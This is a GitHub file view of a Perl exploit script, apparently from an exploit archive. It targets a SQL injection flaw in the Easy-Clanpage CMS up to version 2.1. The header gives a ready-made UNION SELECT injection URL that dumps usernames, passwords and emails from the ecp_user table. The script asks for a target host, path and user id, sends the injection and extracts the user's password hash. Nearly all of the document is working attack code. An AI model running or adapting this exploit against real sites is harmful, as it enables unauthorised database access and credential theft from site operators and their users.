Repository navigation
Expand file tree
/
Copy path11964.pl
More file actions
executable file
·97 lines (90 loc) · 3.99 KB
/
Copy path11964.pl
File metadata and controls
executable file
·97 lines (90 loc) · 3.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*----------------------------Information------------------------------------------------
+Name : Easy-Clanpage <= v2.1 SQL Injection Exploit
+Author : Easy Laster
+Date : 30.03.2010
+Script Easy-Clanpage <= v2.1
+Download : Update Version 2.01->2.1 http://www.easy-clanpage.de
/?section=downloads&action=viewdl&id=16
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101.
*/
/*---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id=
#SQL Injection
+Exploitable : http://www.site.com/Easy-Clanpage/?section=gallery&action=kate&id=1
+union+select+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+from+ecp_user
+where+userid=1--
-----------------------------------------------------------------------------------------
+Exploit
*/
#!usr\bin\perl
#
#
##################################################
# Modules #
#------------------------------------------------#
use strict; # Better coding. #
use warnings; # Useful warnings. #
use LWP::Simple; # procedureal interface#
##################################################
print "
##################################################
# 4004-Security-Project #
##################################################
# Easy-Clanpage <= v2.1 SQL Injection #
# Exploit #
# Using Host+Path+Userid #
# www.demo.de /easyclanpage/ 1 #
# Easy Laster #
##################################################
\a\n";
my($host,$path,$userid,$request);
my($first,$block,$error,$dir);
$block = "
##################################################\n";
$error = "Exploit failed";
print "$block";
print q(Target www.demo.de->);
chomp($host =<STDIN>);
if ($host eq""){
die "$error\a\n"};
print "$block";
print q(Path /path/ ->);
chomp($path =<STDIN>);
if ($path eq""){
die "$error\a\n";}
print "$block";
print q(userid->);
chomp($userid =<STDIN>);
if ($userid eq""){
die "$error\a\n";}
print "$block";
$dir = "?section=gallery&action=kate&id=";
print "<~> Exploiting...\n";
$host = "http://".$host.$path;
print "<~> Connecting...\n";
$request = get($host.$dir."1+union+select+1,2,concat(0x23,0x23,0x23,0x23,0x23,password),4,5,6,7+from+ecp_user+where+userid=".$userid."--");
$first = rindex($request,"#####");
if ($first != -1)
{
print "<~> Exploiting...\n";
print "$block\n";
$request = substr($request, $first+5, 32);
print "<~> Hash = $request\n\r\n\a";
}
else
{
print "<~> $error";
}